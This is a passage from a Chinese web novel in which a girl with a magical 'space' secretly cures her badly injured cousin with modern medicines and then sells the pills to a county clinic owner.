“大嫂,快起来,先不要担心,现在把人送去医馆子要紧。”乔云妮把冯氏扶起来。 现在大家才知道,为什么说在县城里还有事,这是要救人呢。 “是啊大嫂,好歹大家都留着一条命回来了,大用情况严重一点,去医馆治一治,休息一阵子也就没什么事了。”乔老三说道。 冯氏想到另一种更加可怕的后果,心有余悸地点头,接着对着前面骂了起来。 “我说乔老大你还愣着做什么,还不赶快去医馆子,你早让我看一眼,现在都到医馆这里治着了,别说是我们拦了马车,是你自己磨磨蹭蹭的。” “孩子们出事了,只准你们知道,不许我们知道,咋,我不是孩子他娘,他伯母,我不是你老乔家人?” “这笔账你给我记着,哪天找你好好清算。” 成亲这么多年来,冯氏还是第一次对乔老大红眼。 她就是不能容忍,儿子都这样了还要瞒着她。 乔老大哪里敢反驳,赶紧赶着马车往城里去。 作为家里的老大,没有保护好两个孩子,他本就于心有愧。 不过,他也不是故意瞒着,只是不想让家里人担忧罢了。 乔镰儿那样的镇定,冯氏又很快就把状态调整过来,积极地去应对这件事。 他发现,是他低估了家人。 乔家人,个个能莽。 凌家村的人在县城里吃过饭,已经陆陆续续回去了。 来县城打官司的时候,凌音家里带来了几坛子辣白菜,卖完了这才回家去。 这件事情解决了,好像卸下了一个大重担,一家几口脸上都是轻松。仦說Ф忟網 这种感觉太舒坦了,看哪哪都是美好的。 凌老三说:“现在可以放心地给音丫头瞧一户好人家了。” “爹,你这就把我忙着嫁出去啊。”凌音哼了一声。 “哎,不着急不着急,慢慢给你瞧,给你瞧到最好的,不能让你这辈子受委屈呀。”凌老三笑道。 秋氏含笑不语,她想着,等回到家里,该把那件事情跟凌老三说一说了。 不过,乔家是男方,主要还是看乔家,有没有行动。 几辆马车从他们乘坐的马车旁经过,被家里人知道了,乔家男人们也不遮遮掩掩了,打开了窗帘,给里面透风。 凌音无意识往车厢里看了一眼,看到那个躺在担架上,浑身是血的身影,她一下子愣住。 嘴唇微微颤抖了一下。 “娘,娘——” “这是咋了?”秋氏还以为她看到史家人了,心想现在史家人有什么可怕的。 顺着凌音的视线看去,她也看到了一身是伤的大用。 “车夫,快掉转车头,跟着那几辆马车去。”秋氏赶紧道。 “咋了娃他娘。”凌老三不理解。 “娃他爹,是那家帮了我们家的人,是那个镰儿丫头出的主意,他们家里有人受伤了,看起来很严重,我们得去看一眼呀。” 凌老三一听脸上很严肃:“得去看,看看有啥我们帮得上忙的,就算帮不上,也是尽一份心意。” 寻了口碑最好的医馆子,乔镰儿停了马车。 乔家人抬着大用下来,乔吱吱和乔镰儿扶着小梦,乔云妮扶着乔老三。 看到一家子变成这个样子,凌家人相互对视一眼,这情况是真严重啊。 赶紧上前去帮忙扶人。 看到了凌家的人,乔家人心中一阵感动。 这样的情况,容不得他们多说,赶紧把大用抬了进去。 大用紧紧闭着眼睛,身上露出来的皮肤一片发炎红肿,前面他的脸上几乎没有血色,可现在却开始在发红。 乔镰儿给他摸了摸脑门,有点发烫,心里面暗道不好,可能要发高烧了。 看到一下子进来这么多伤患,一个还特别严重,其他的也没有那么乐观,医馆这里的大夫赶紧忙活起来。 “先拿冰袋和消炎药来,他要发高热了,他伤势太重,千万不要发起来,消炎药口服。”大夫一边给大用拆着身上的缚布一边交代。 这里虽然是古时候,但是有条件的医馆,地下会放着冰砖,有时候需要强力降温,药力效果缓慢,就不得不用上冰砖。 随着大用身上的缚布一道道拆开,大家都睁大了眼睛。 不仅仅有一道道刀伤,剑伤,还有像是砸到什么东西的钝伤,大范围小范围发黑的淤青遍布全身,甚至还被尖锐的棱角划开了大片皮肉。 第236章 她有奇药,快速退烧 这样的伤势,可以说是惨烈。 乔老大闭上了眼睛,冯氏紧紧按住乔云妮的手,克制着心中的情绪。 凌音捂住了嘴巴,眼里有点点晶莹的泪光在闪烁。 这样的情况,再严重一点就—— 这个病房里有两个床位,大用一个小猛一个。 三个大夫来给大用忙活,两个大夫治疗小猛。 男人们都受了伤,都要接受治疗,被安排在不同的病房里。 还好乔老三是骨裂,没有骨折,乔老二的手臂是脱臼。 每个人的身上都有刀伤剑伤,口子深长,都需要缝合。 杨老二的脊柱受了损伤,也躺到了床上。 就乔老大和杨老大的情况好一点,两人坐在前堂,都是沉默。 “兄弟,我和老二就在县城,等大用脱离危险了,我们再回镖局。”杨老大开口。 “要不是大用解决了土匪头子,可能真的要丢两条人命在那里。” “也是怪我,能力不足,自诩经验丰富,却让他变成这个样子,好在保了一条命回来,只希望他尽快挺过来。” “杨大哥你不要自责,大家同心协力对付匪贼,受伤重一点轻一点都很正常,只要有命在,怕啥?这个结果,我觉得至少不算太差。”乔老大说。 “冰块降温降不下来,体温还在上升。” 病房里,本来大夫略带着焦急的声音。 让乔家人心头一紧。 发了高热又多处受伤,抵抗力低,是个极其危险的信号。 物理降温都降不下来,只能说明体温在持续攀升,在迅速的上升期。 大夫们手忙脚乱,忙成一道道乱影,乔家人的心七上八下,就像悬在了悬崖边上,随时都可能掉下去。 大家下意识想到了乔镰儿,却发现她不见了。 乔云妮找了一下,在医馆之后院里看到乔镰儿,她正蹲在地上,烧着一壶水,乔云妮以为是在煎药,可是并没有闻到药味。 揭开盖子一看,里面是白水。 “镰儿,你烧在白水做啥。” “娘,这不是普通的白水,是我以前给你喝的那种水。”乔镰儿说:“大用哥这个情况,不能喝太凉的水,需要热一下。” “你大用哥的体温降不下来,他整个人像火烤一样烫,太吓人了。”乔云妮忧心忡忡地说。 “娘,不打紧,我身上有些药,娘你去拿一个碗来,再拿一个勺子。” “哎哎。”乔云妮赶紧去了。 空间是为主人服务的,也会考虑到主人需要治病的情况,仓库里放了一些常用药,花点金币就可以购买。 像发热,感冒,肚子痛,头痛等都有特效药,见效快。 这就是为什么,乔镰儿更放心家里人去走镖,只要有一口气回来,她都有把握。 乔云妮取来了碗,乔镰儿往碗里倒了一点水,刚好没过碗底。 然后她把几颗白色的药丸放进去。 有治疗发热和发炎的,还有止痛的,增强免疫力的。 然后她用勺子把这些药丸磨碎。 乔云妮很惊讶地看着,也不多问。 等到药丸都磨碎了,化在了清水里,乔镰儿端着碗,进了病房。 大用的额头上,用毛巾裹了冰渣子敷着,一个大夫在观察着他的体温,还有两个大夫给他清洗缝合伤口。 “不行不行,敷着的时候会降一点,但只是暂时降额头这个位置,身上的体温还在升高。”那个大夫苦恼地摇头。 “大夫,我喂我大堂哥喝点热水吧。”乔镰儿说。 这个大夫看起来五十多岁了,颇为老道,他点点头让开,踱步来踱步去地思考对策。 “馆子最好的降温药用上了,冰块也用上了,还是不见效,应该怎么办才好。” “莫非要送到冰窖里,全身降温,可他的身体情况,只怕承受不住。” 冯氏把大用的头给扶起来一点,乔镰儿一勺一勺给大用喂水。 冯氏下意识看了一眼乔镰儿,见她脸上一片平静。 她的心中,不知不觉多了三分底。 把药喂好了,乔镰儿把碗拿去洗干净,免得被医馆子的大夫看出不对来。 “好像烧在退了,身上也没那么烫了。”冯氏惊喜道。 那个正在焦头烂额,踌躇不已的大夫闻声走过来,给大用试探了一下,脸色一动。 “果然在退烧,而且退得很快。” 又给大用把了一下脉搏:“气息稳了不少,有希望了。” 他的脸上露出了疑惑,什么时候,医馆子里的药有这种效果了? 一安置在病房,就给伤者服用退烧药,并配合冰块降温,这些措施要是见效的话,一开始就能见效,而不是体温持续攀升的时候突然见效,然后把体温降下来。 经验丰富的老大夫迷茫了,甚至怀疑上了自己以前的判断。 乔镰儿又端了热水进来,大用哥这个样子多喝一点神符之水,痊愈得更快。 陈大夫突然想到,刚才就是这个女娃子进来喂了一点水,伤者的状况飞快变好,难道这里面放了什么东西。 “小丫头,还是让我来吧。”陈大夫接过碗,默不作声低头闻了一下。 他当了几十年的大夫了,靠着闻味道,就能辨别许多种药材,哪怕是看不见的,甚至是无味的,因为即便无味,也有自身的特质,可以用鼻子判断得出来,特别是大夫,鼻子比一般人要灵敏得多。小說中文網 不过,他细细闻了一下,这碗里的水就是很普通的清水,没有什么特别之处。 乔老大不知道什么时候出现在门口,看到平稳了一些的大用,他紧绷的脸色也舒缓了过来。 等大用无意识喝光了半碗水,乔镰儿走出了病房。 “大伯父,大用哥的身上,怎么有这么重的摔伤,大夫说头也摔到了,可能有淤血,不知道范围多大,不知道能不能完全被吸收,也不知道有没有压迫到脑子里重要的部位。” 身体都有自我修复功能,程度轻一点的淤血是能够被吸收的,再重一点有神符之水,乔镰儿也不怕。 就是希望不要压迫到神经。 乔老大现在心稳了一点,也有心情提起路上发生的事情了。 “你大堂哥这个样子,因为他抱着土匪头子,滚下了山坡。” 第237章 七次凶险车轮战 “我们这一路到夔牛国,一共遇到了七次土匪打劫,他们轮番上阵,像是串通好的,对我们进行车轮战。”想到那样的情形,乔老大似乎心有余悸,他继续说下去。 “前面五次,我们赢得比较轻松,但是也消耗了不少体力,第六次的时候,这些人更加厉害难缠,我们使出了浑身解数,才把他们打败。” “到第七次,是他们派出的最厉害的人手,光是打架,就花了一个早上加半个下午的时间,我们双方陷入胶着,谁也赢不了谁,眼看着他们来了支援,就要夺马车上的货品,你大用哥冲上去和对方老大缠抱在一起,对方老大手上的刀在他背后留下一道又长又深的口子,他拼尽全力,大喊一声,抱着对方老大滚下了山坡,尖锐的石头划破他的身体,又不断摔到大石头上,看得实在是让人揪心哪。” “不过你大用哥抱了这样的决心,自然也是注意用技巧,他尽量用对方老大的身体做肉垫,一直掉到了山脚下,险险留了一条命,而对方老大早就不知道在什么时候死掉了,血肉模糊,死得很惨烈。” “有一句话怎么说,哀兵必胜,我们以为你大哥活不了了,身上一下子凭空添了力量,不顾一切奋起杀匪,再加上对方老大死了,他们士气降低,所以,我们最终赢了,守住了货品。” “本来以为你大哥必死无疑,发现他还活着,你不知道我们有多高兴。”说到这里,乔老大有些哽咽。 “那个位置,距离货主地点只有二十里,我们把你大哥全身包好止血,然后赶着去送货。” “货主看到我们为了守住这批货,差点付出性命,那些货又毫发无损,很是感动,多给了我们五十两。” “夔牛国产的酒度数高,消毒的效果好,我们就买了一坛子酒,给你大哥一路消毒回来。” “本来想着,用剑烧红烫一下,又不想弄得他全身是疤,免得影响以后娶媳妇。”说到这里,乔老大笑了笑,仿佛是为了缓解那种沉闷的气息。 乔镰儿相信,路上的情况,比她听到的还要惊心动魄。 第一次走镖,大家只是受了一点轻伤,可是这一次,胳膊折了,骨头裂了,身上一道道口子,大用哥还成了这副模样。 这还是在他们勤奋练了一个月打斗招式的前提下。 “那大伯父,以后还要走镖吗?”毕竟是他们去走。 乔镰儿想,这一次的经历。会不会给他们留下阴影。 “要去。”乔老大回答得无比坚决。 “这一次,应该是最凶险的一次了,你不知道,那些人有多凶狠,就像野狼野虎一样,极其的凶狠难缠,我们都挺过来了,以后都不必担心这样严重的情况,或者说不会比这一次更凶险。” “况且我们赢了,名声也起来了,一路回来,听到有人说山道上,大泽国宁县乔家男人不能惹。” 说着这些,乔老大脸上一片骄傲。 “我们这一路过去夔牛国,又积累了不少实战经验,对以后还是有用处的,不去的话岂不是白白浪费了,你杨大叔说了,这一镖成功走通,以后镖局护镖会涨价,摊到我们身上的银两也会增加。” 乔老大又语重心长叹了一口气:“镰儿啊,这个家不能只你一个辛苦,全指望你,咱们男人一个个脸上无光啊。” “大伯,都是乔家人,不说这些客套的,只希望你们每一次都平平安安回来。” 乔镰儿知道,他们不光是想为这个家赚钱,还是为了实现自己的价值,这种完全靠自己打拼带来的自豪感,是完全不一样的,是每个人都需要的。 等到杨老二身上的口子缝好了,确定没有什么问题,乔老大对杨老大道:“杨大哥,大用算是稳住了,虽然现在正在昏迷,但总会醒过来的,你们待在这里也是耽搁,还是先回越州吧,镖局里正等着你们交代呢。” 那天杨老大杨老二找到他们忙着出发,他就知道时间是定好的,拖得久了,老板会不高兴。 杨老大也看过了大用的情况,的确是平稳了不少,呼吸均匀,脸上有了润色,跟在马车上截然相反,他很奇怪,怎么会好得这样快,可能是老天照顾吧。 “既是这样,我们也没有继续逗留的必要,乔兄弟,你们立了大功,我会上报给老板,我敢保证,以后有好事,少不了你们。” 说着从怀里面摸出一个布包,里面放着大大小小面值的银票,因为走山道,银两容易被惦记,而且沉甸甸的不好携带,能要银票就要银票。 杨老大数出二百五十两,郑重地交到乔老大的手上。 “这是你们这一趟走镖所得。” 乔老大一看,赶紧推回去:“杨大哥,前面你们已经让出十两了,这五十两额外的奖励,是我们大家共同拼命得来的,还是按人头分了吧。” “可是看到大用这个样子,我总觉得心中有愧,想要多补偿你们。” “杨大哥不要说这样的话,大用不这样做,可能真要丢一两条命,丢谁的都不好说,甚至大半人手都要折在那里,队伍每一个人都很拼,每一个人都有危险,这五十两不单单是我们乔家的功劳。”小說中文網 “咱们九个人分,我们乔家每人拿五两,额外的五两你们拿回去。” 两人推脱来推脱去,最后杨老大只肯分十两,其他的全给了乔家。 跟乔家成道过别后,他赶着马车,带着杨老二走了。 至于另外的马车,留了一辆在这里,有人专门照料。 “你们想用马车,去找我的伙计,随便用。”杨老大特意叮嘱。 “大家这阵子好好养伤,期待再会,咱们兄弟一起到山道上杀贼去。” 一起回去的,还有其他镖局里的兄弟。 看到乔家人伤成这个样子,其中有一个兄弟问道。 “大总头,如果我们去的话,是不是会应付得更轻松一点?” 杨老大肃然对他道:“你们不知道那一条路有多凶险,是因为乔家人天生大力,学习武打招式天赋高,才挺了过来,如果你们去,到了第六关就要支撑不下去了,以后你们也把乔家人当成兄弟,是他们给你们换了活命的机会。” 知道杨老大从来不说虚话,这些兄弟对乔家人肃然起敬。 “是,老大。” 眼看着天就要黑下来,乔镰儿决定,一部分人先回家去,免得家里老人担心。 大成大猛受伤轻一点,就跟着回家,大伯父留在这里做安排,大伯母和娘也留下来。 两个老人看到大成大猛了,也会心安一点。 她出去准备马车的时候,那个陈大夫来到了她的面前。 “小丫头,可方便说两句。” 第238章 你有秘方 乔镰儿停了下来:“陈大夫,是不是我大堂哥有什么事。” 陈大夫摆摆手:“你兄长情况越来越好,不用担心。” 一开始送来的时候呼吸微弱,断断续续,至少现在已经算是平稳了。 “那陈大夫是——” 陈大夫看着眼前这个瘦瘦小小的女娃儿,不过八岁左右,可好像是她在为家里拿主意,乔家都听她的。 她身上的气质,是这个年纪少有的冷静。 老大夫心中啧啧称奇,小丫头当家,这还是头一遭见。 “小丫头,我也不跟你拐弯抹角了,说实话,你的兄长刚刚送来的时候,我这里只有一二分的成算,如果他发了高热难退,免不了要提醒你们准备后事。” “可是你给你兄长喝了水之后,他的体温很快就降了下来,气息也稳住了。” 乔镰儿这下子知道了大夫要说什么,她道:“或许是我大哥命不该绝,吉人天相呢,起死回生的事情都有,更不要说我大哥还留着一口气了。” “我觉得没有什么奇怪的。” 她说这话的时候,陈大夫在默不作声观察她,似乎要看出她是否在撒谎。 不过,乔镰儿很轻松,仿佛这是一件自然而然的事情。 “我用的水,就是在医馆子的后井里打的,如果真的有奇效,你们早就知道了。” “陈大夫,我要准备回家了。” 她身上的东西,当然越少的人知道越好,免得惹来不必要的麻烦。 陈大夫不想放弃:“小丫头,我从医几十年,自问经验丰富,像你大哥的情况,就算我们医馆拼力挽救有效,也要在一两天以后才能达到这个效果。” “我相信我的判断,你一定是给你兄长用了什么东西。” “你有秘方。” “小丫头,我恳请你把秘方拿出来,因为每年因高热而死掉的病人就有不少,他们需要在最快的时间把温度降下来。”陈大夫道。 “作为一个大夫,不能治好他们,我心中实在是愧疚。” “像伤风,头痛,肚子痛等,都能用药物缓着治疗,可是高热不行,这是最要命的事情。” 乔镰儿知道,陈大夫说的是高热,而不是一般的发热。 高热到四十度以上去了,全身免疫系统都调来作战,引起各种失调反应,容易就嘎掉。 “如果你把秘方提供给医馆,我们愿意花重金购买。”陈大夫又说。 是啊,可以拿去换钱,乔镰儿心动了,沉默了一下。 就是她的这一沉默,让陈大夫更加肯定了心中的想法。 他的目光更加殷切。 “陈大夫,我先回家去吧,家里老人在等着,明天还会再来,到时候再说。” 因为乔镰儿也不确定,能卖多少,怎么卖。 “好,那我就等着你的好消息。” “小丫头,如果你肯将秘方公诸于世,救治无数人的性命,你便是功德无量。” 乔镰儿赶着马车离开县城,路上一直在琢磨这件事。 到了村子,夜幕刚刚降临下来。 乔老太乔老头早就在门口张望了,看到大成和大猛都下了马车,两人明显松了一口气。 剩下的,只有乔吱吱一个下来。 “其他的人呢。”乔老太问道。 “奶,他们多多少少有点情况,需要在医馆子里养几天。”乔镰儿大大方方说:“大伯母和娘留在县城里照顾。” “受伤了?严重不。”乔老头紧张地问。 “他们遇到的山匪很厉害,有伤口需要缝合,手脚也受了点伤。” “那,全部都回来了吧。” “嗯,都回来了,一个个都是活的呢。” 乔吱吱说这话的时候,二老就盯着她的脸,生怕她有啥遮掩的。 “还好还好。”乔老太拍着心口:“去跟那些凶恶的山匪打架,哪有不伤筋动骨的,只要都活着回来就好,有一条命在,就啥都有。” “你们两个过来,让我好好看看。”乔老头对大成大猛说。 两人受的伤是最轻的,但是肚子上和后背上还是有缝合的伤口,大成的一边肩膀有些耷拉着,但好在只是皮肤受损。 看到那些口子,大大小小的,二老心疼得直抽气。 住医馆子的那些,肯定更加严重,这样想着,二老的心情一阵难受,脸上有点笑不出来了。 “爷,奶,真的没啥事,过一阵就好了。”大猛轻松地笑笑。 “大家是人,不是神,血肉之躯,打打斗斗的,这些事情在所难免。” “是啊,唉,你们一个个的受苦了,吃饭吧。”乔老头说。尛說Φ紋網 吕氏和万氏把饭菜摆在桌上,今天为了迎接大家回来,还事先宰杀了一只肥鸡,分成两大碗还有剩的。 糖醋排骨,黄豆炖猪蹄,香煎豆腐,老奶土豆,还有从山上捡来的青菌子也炒了一盘,一桌子很是丰盛。 这些天一直跋涉在山路上,啃馒头吃饼子,大成和大猛看到家里的饭菜,又香又地道,口水一下子弥漫,埋头呼呼大吃起来。 “哇,家里的米饭这样好吃?”大猛一尝到米饭的味道就惊住了,香,软,糯,绵。 大成用筷子扒拉了一下碗里的米饭:“不对啊奶,这米饭后怎么会这样光滑饱满,还这样白,咱们家田里种出来的不该是这个样子,你们买新米啦?” 像这样的大米,又好看又好吃,不敢想象价格有多贵。 “这是你们镰儿妹妹去买的米。”乔老太道。 一听这话,大成和大猛默契地对视一眼,不再多问了。 大猛期待道:“那镰儿,以后咱们家是不是可以经常吃这样的大米了?” “包在我的身上。”乔镰儿保证。 光说是她,也不喜欢吃古时候种出来的那些糙大米。 本来两人还舍不得吃,生怕吃完了就没了,听她这话,筷子扒得更起劲了。 跟两人吃得差不多了,乔老太又让他们喝了一碗鸡汤。 辛辛苦苦十来天,又受了伤,得好好补一补。 至于那两个鸡腿,不管另一个给谁,乔镰儿的碗里,乔老太都要搁上一个。 乔镰儿躺在床上,打开空间,查看那些药品。 第239章 禁止贿赂空间管家 空间里这些药品为主人服务,保证主人活到最长的年限,所以,全部都是特效药,而且副作用不大。 乔镰儿选了发烧药,点击加数量,发现每一次只能购买一盒,但到下一次购买,要等到三天以后,三天后,正好吃完一个疗程。 再看其他的药品,都是一样的情况。 而解锁数量的条件并没有规定,说明这个是限定好的。 她有点苦恼,这样的话,还怎么赚钱? 想了想,数量稀少,见效又快,那只能为富人和贵族服务。 那么,她可以多要价。 至于包装,不是什么高科技玩意儿,就不用伪装了。 翻了个身正要睡下,搁到了一样东西,乔镰儿这才想起来,那些银票子还没有给乔老太过眼呢。 她又下了床。 “不是说二百两吗?咋多出了几十两?” 乔老太一看有二百四十两,很是惊讶。 乔老头拿起钱来数,喃喃道:“咱们家里又发了。” “为了押这一趟镖,咱乔家人落了不少伤,货主满意就多给了五十两,杨叔叔兄弟分了十两,其余的四十两都给了咱们家。”乔镰儿说。 “杨家两位侄子倒是实诚人,前面就已经都拿出十两来了,这五十两又少分了一点。”乔老太感慨一句。 以为盖房子后要穷一阵子,可转眼间,家里又多了五百多两。 又想到乔镰儿说的会破财,乔老太有点紧张:“镰儿,这些钱,咱们家都能守得住吧。” 乔镰儿想到,等到那些人来了,说不定会搜查家里的银两。 他们现在藏钱的地方,虽然算是隐秘,那也是经不住搜的。 那些被抄家的大户人家,把财物藏得够隐蔽了吧,还是会被搜刮出来,甚至搜查的人不惜掘地三尺。 到时候,看到他们盖了这么一大个院子,只交出那么一点来,那些人肯定是不会信的,墙体里哪里有暗格,床底下是不是挖了一个坑,可能都要好好检查一遍。 “奶,我在想办法。”乔镰儿说。 但她还没有拿定主意,乔老太一颗心提了起来:“咱们家这么多钱,可不能有啥闪失呀。” “嗯奶,不会的,我会守好这个家。” 乔老太一把搂住了乔镰儿:“大家都没文化,都是粗人,就你脑子最灵光,镰儿,你就多操心一点。” “大家都不会忘记你的辛苦。” 乔老太有点愧疚,大事跟前,要指望一个小孩子。 自从知道那些人要来以后,乔镰儿每天都在尽最大的限度扩展作物种植面积。 收获的果实用来换金币,金币可以为解锁高级物类空间做准备。 到时候,就能开启储物功能。 可是她发现,尽管开启高级物类空间的时间大大缩短,但也需要小半年。 时间是完全来不及的。 “管家管家,你告诉我,怎么样才能尽快解锁高级物理空间。” 乔镰儿已经使出浑身解数,地里的一级作物她早就全部铲掉,换上了二级作物,这样的话售价会更贵一点。 种植面积也是无边无际,至少她的意识站在一座山峰上,往四周都看不到头。 “主人,要金币到达足够数量才能解锁噢。” “真的没有其他办法了吗?” “主人可以通过扩展种植面积,增加作物产出,来获得金币哦。” 管家的回答很机械,很公式化。 乔镰儿扶住了脑门,这不是她想要听的。 把钱藏在山里?不行,可能到时候,就连乔家人都找不到钱藏在哪里。 把钱存在钱庄?不行,那些人免不了要查钱庄,再根据存款信息找到她。 这世上,最安全的地方,就是她的空间。 乔镰儿相信,既然能够解锁储物功能,说明肯定有其他条件能够撬得开。 她决定,天天都缠着管家,一直到他松口为止。 “管家你是一个意识,还是一个观察的人或者神?” “我——”管家迟疑了一下:“可以说是一个意识吧。” “那你平时需要吃饭吗?需要睡觉吗?” “是的,我需要补充能量,才能更好地为主人服务。”小說中文網 “那你喜欢吃什么,如果空间里面没有的,我可以为你准备。” 如果开通放东西进去的路径,那么她也就可以储物了。 “主人,请脚踏实地,禁止贿赂管家。”管家的语气变得严厉起来。 “储物空间只有金币足够才能够开启,还请主人打消心思。” 想法全部被管家猜中了,乔镰儿嘴角抽了抽,打了个哈哈一笑:“我也是因为体恤管家为我操劳,关心您的身体。” “主人还是多关心自己吧。” 管家就不再说话了。 乔镰儿无奈地躺在床上,算了算日期,八月二十号那些人会来,到这里应该要九月份。 也就是说,还有十天左右,甚至不到十天。 今晚她翻来覆去的,有点睡不着。 一大早吃过早饭,乔镰儿和乔吱吱到了县城,到的时候,太阳才刚刚升起,还没有温度的晨曦,淡淡笼罩着这个小城。 她有些意外地发现,凌音一家几口竟然都在。 昨天她从县城回家的时候,他们还在,今天又来得这么早吗? 一问才知道,原来他们昨晚根本没有回去,守到了很晚,在附近找了一个客栈住下。 “凌音姐,你们不必如此呢,他们的情况都稳定下来了,迟早会好起来的,你们家里的牲畜要照料,地里有活儿要忙。”乔镰儿说。 “镰儿,是你们乔家人救了我,救了我们家。”凌音动容道:“你们家这么多人受了伤,你大哥更是伤势严重,昨天刚刚送回来,头一天我们不管怎么样也要守一守。” “好在你大哥度过危险期了,等过了中午我们就回去,家里的确忙,不然我们还要多待两天。” 乔镰儿进入病房,大哥的脸上恢复了不少润色,身上发肿的情况减轻了许多,从昨晚她回家离开到现在,大哥发了一点小热,不过用冰块就降下来了,到现在无事发生。 只能说,特效药效果就是好。 其他人情况也不错,骨裂的贴着膏药,脱臼的已经复归原位,口子深的位置也都缝好了,大家都好好睡了一夜。 乔镰儿从马车上抱下来一个小盒子,找到了陈大夫。 第240章 贵吗?那就按颗卖 陈大夫看了一眼盒子,马上把乔镰儿请到后院的客厅。 “陈大夫,我是有秘方,但是我不卖秘方,我卖我配出来的药。” 陈大夫忖量了一下:“行,卖药也是一样的。” 有这样的秘方,换做是他,他也舍不得卖。 秘方卖一次,以后就没钱了,可是卖药,可以卖很多次。 不过没关系,等拿到药,医馆子里的大夫就会分析出药品什么是用成分制成,如法炮制就行了。 “那乔姑娘,让我看看药吧。” 乔镰儿把盒子打开,拿出来六盒药。 陈大夫拿起来看,有点诧异,这上面的字他能勉强看懂,比平时使用的字要简化许多,但是组合起来却不知道是什么意思,怪里咕咚的。 而且这硬纸壳很是精细顺滑,摸着不像是这个时代能够制造出来的。 “我这些药,都是能够迅速见效的好药,这一盒用来治疗高热,这一盒用来治疗重风寒,这一盒治疗急性肠胃炎,这一盒用来治疗剧烈头痛……” “都是一天三次,一次一颗。” 乔镰儿一边说着,一边取出药,摁出一颗白色药丸出来,交给陈大夫。 陈大夫表情很是稀奇,他还从来没有见过这种白色压平的小圆药丸,很是精巧。 他拿起来观察,嗅了嗅,是有药味,但其他的就判断不出来了。 陈大夫不信这个邪,干脆用汤匙把这颗药丸捣成粉末,然后轻轻拨弄着,聚精会神地观察,他的脸上越来越艰难。 乔镰儿心里面偷笑,陈大夫你就鉴定吧,现代药品不仅仅包含天然的药类植物提取物,其中还有抗生素成份,化学合成成份等。 古代再厉害的大夫,也是看不出来的。 她知道陈大夫的意思,从她这里买走了药,分析出成分,然后自己配出来,这样就不用出钱了。跟那些买了食材拿去种的百姓一样的想法,只要有一样好东西问世,为了节省成本,或者谋利,大家都会想方设法地去复制。 可是这东西,真的复制不了。 在这家济世医馆,没有谁比陈大夫的资历更老,他自己看不出来,相信其他大夫也无能为力。 陈大夫无奈地叹了一口气。 看来,今后想用这种药,只能跟着丫头买了。 “乔姑娘你直说吧,这些药怎么卖。” 乔镰儿已经想好了价格,伸出一个巴掌来:“五两一盒。” “啥。”陈大夫以为听错了,不敢相信地看着她。 “五两一盒,乔姑娘,你知道五两是什么概念吗?” “陈大夫,你这里抓一副效果好一点的药,至少都要几百文钱,甚至一二两银子吧,而且两三天才能见效,有时候药力未到,病人已经先去世。” “唉,是啊,不是药没有用,若是病情太险急,药再好,也赶不到前面去。” “可是我的这颗药,服下去一颗就能见效,三颗很多病人都能稳定下来,您看我大哥就知道了,昨天我也只给他服了一颗退烧药而已,就稳到现在。” “每盒药里有十颗,第一天特别严重可以多吃一颗,三天一个疗程,而正好我配出这些药,需要三天的时间。” “可是五两,很少有人出得起这个价。” “那就拆开,一颗的成本五百文。”乔镰儿这样说,就见陈大夫的眼里闪烁了一下。 “或者是那些有钱人家,贵人家,他们整盒整盒地买,是完全没问题的。” 是啊,像这些家底厚的,根本就瞧不上这点医药费。 陈大夫的心里又亮堂了。 “我知道陈大夫体察百姓,这个价要怎么分配,就看医馆子了。”乔镰儿咳嗽一声说。 陈大夫明白了过来,少给百姓的,就加在那些有钱人的身上,他们又不在乎这几个子。 嗯,为富不仁的多要一点,有点善心的少要一点。 这些药这样珍贵,他想赚多少就赚多少,所以成本已经显得不太重要了。 见陈大夫几乎完全被说动了,乔镰儿道:“陈大夫这里没问题,老板那里,陈大夫有把握吗?” 她的事情还没完呢。 陈大夫:“我就是老板。” 老板还亲力亲为,如此操心病人,乔镰儿不由得多了两分佩服。 “乔姑娘,本来我跟你要的是退烧的药,可是你带来了六盒不同的药,我不能一下子全信你,正好有一户人家,他家的儿子着了急性肠胃炎,腹泻严重,现在人已经虚脱至极。” “我这就让人把药送过去,如果过了中午,他的情况得到缓和,这六盒药,我全部买下来。” “好的,那我就等一等。”乔镰儿很放心地先把那一盒治疗急性肠胃炎的药交给陈大夫。 陈大夫低头看着那一颗被他碾碎的药,心疼得嘴角直抽抽。 这一颗,可是价值五百文啊。 问过乔云妮,乔家人都没有吃早饭,乔镰儿和乔吱吱去买了一大堆肉包子来,给凌家人也带了一份。 大家看到了包子,肚子开始叫起来,这才意识到,只顾着病床上的人,都忘记吃早饭了。 拿着肉包子,一人一大口地啃。 “唉,这咋好意思,花了多少钱,我给你。”秋氏忙着去摸钱袋子。 “秋妹子,你再这样,我可要生气了。”冯氏板着脸佯装不悦,又继续给凌家人每个人手里塞了个肉包子。 不说以后可能做亲家,凌家人在这里这样守着,这一份心意,请他们吃几顿大鱼大肉都不为过。 “中午你们要回去,大家一起去吃顿饭,咱哥俩喝一杯。”乔老大拍拍凌老二的肩头。 经过这件事,他把凌老二当成朋友和兄弟。 “行,喝一杯。”凌老二也不拘着。 至于大用,乔镰儿买来了一碗肉粥。 大用现在会有意识地张口吞咽了,冯氏先给他喂粥,还喂得挺顺利。 在回来的途中,他们也是熬粥给大用喝,只能把他的头仰着,用管子送进喉咙。 乔镰儿看了看空间里,找来促进伤口愈合的药,也给大用喂了进去。 快到中午的时候,陈大夫派去那户人家的伙计一脸喜色地回来了。 第241章 买铺子,安置产业 “好了陈大夫,一大早服下一颗药到现在,好了个五六成,也不腹泻了,身上有了些力气,欧阳家要花重金买下那一盒药。” “我说我也没个定夺,要先问过陈大夫,那一盒药他们死活都不愿意再让我拿回来,只说让我回来请个价。” 陈大夫见真的有如此奇效,脸上也露出了笑容。 欧阳家那么有钱,他思索了一下:“要个二十两吧。” “你就说,这种药才刚问世,药效好,配起来极其繁琐,所以售价昂贵,看在欧阳家多次到济世医馆买药看病的份上,我们就少要一点。” “若是欧阳家有意见,你便说比起一条命来,二十两算个啥,有的是人排队等着这种药。” 陈老板很老道地说着,一边偷偷去看乔镰儿,成本价五两,这丫头会不会觉得他赚太多了。 可乔镰儿好像没听到一样。 对于她来说,药卖价多少,是老板自己的事情。 陈大夫取来了三十两,郑重交到乔镰儿的手上:“丫头,以后这些药,你只管带到济世医馆来卖,价格好商量。” “陈大夫放心吧,这些药难得,我想再卖给其他医馆子也卖不了啊。” 陈大夫又好好打量了一下乔镰儿,见她眉眼之间都是聪睿之气,在这个本该不谙世事的年纪,这丫头体内好像装了一个大人的灵魂。 他心中啧啧称奇,心想还真的是遇着奇人了,也是,奇人是不分年龄的。 “陈大夫,我有一个请求。”乔镰儿说:“还希望陈大夫答应。” “你说。” 